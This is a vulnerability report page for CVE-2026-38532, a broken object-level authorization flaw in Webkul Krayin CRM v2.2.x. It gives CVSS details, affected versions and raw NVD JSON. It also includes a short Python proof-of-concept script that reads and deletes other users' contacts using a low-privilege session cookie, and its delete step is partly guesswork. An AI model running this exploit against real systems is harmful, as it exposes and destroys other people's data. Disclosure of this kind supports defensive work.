Security Vulnerability Report
中文
CVE-2026-38532 CVSS 8.1 HIGH

CVE-2026-38532

Published: 2026-04-14 16:16:44
Last Modified: 2026-04-23 16:52:55

Description

A Broken Object-Level Authorization (BOLA) in the /Contact/Persons/PersonController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily read, modify, and permanently delete any contact owned by other users via supplying a crafted GET request.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:webkul:krayin_crm:2.2.0:*:*:*:*:*:*:* - VULNERABLE
Webkul Krayin CRM v2.2.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration base_url = "http://target.com" vulnerable_endpoint = "/Contact/Persons/PersonController.php" # Attacker's authenticated cookie (Obtained after low-privilege login) attacker_cookies = { "laravel_session": "attacker_session_id_here" } # Target victim's Contact ID (Arbitrary ID) victim_contact_id = 5 # 1. Proof of Concept: Reading arbitrary contact data # Crafted GET request to access another user's contact read_url = f"{base_url}{vulnerable_endpoint}/{victim_contact_id}" response = requests.get(read_url, cookies=attacker_cookies) if response.status_code == 200: print("[+] BOLA Exploit Successful!") print(f"[+] Leaked Data for ID {victim_contact_id}:") print(response.text) else: print("[-] Request failed or endpoint not reachable.") # 2. Proof of Concept: Deleting arbitrary contact (if method allowed via GET or parameter) # Note: Application might use GET parameters to trigger actions # Example: ?action=delete&id={victim_contact_id} delete_payload = {"action": "delete", "id": victim_contact_id} delete_response = requests.get(f"{base_url}{vulnerable_endpoint}", params=delete_payload, cookies=attacker_cookies) if delete_response.status_code == 200: print(f"[+] Contact ID {victim_contact_id} potentially deleted.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38532", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:43.830", "lastModified": "2026-04-23T16:52:55.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Broken Object-Level Authorization (BOLA) in the /Contact/Persons/PersonController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily read, modify, and permanently delete any contact owned by other users via supplying a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webkul:krayin_crm:2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "C69541F8-F19B-4119-87E0-C9CC655FF002"}]}]}], "references": [{"url": "https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2026-38532", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/krayin/laravel-crm", "source": "[email protected]", "tags": ["Product"]}]}}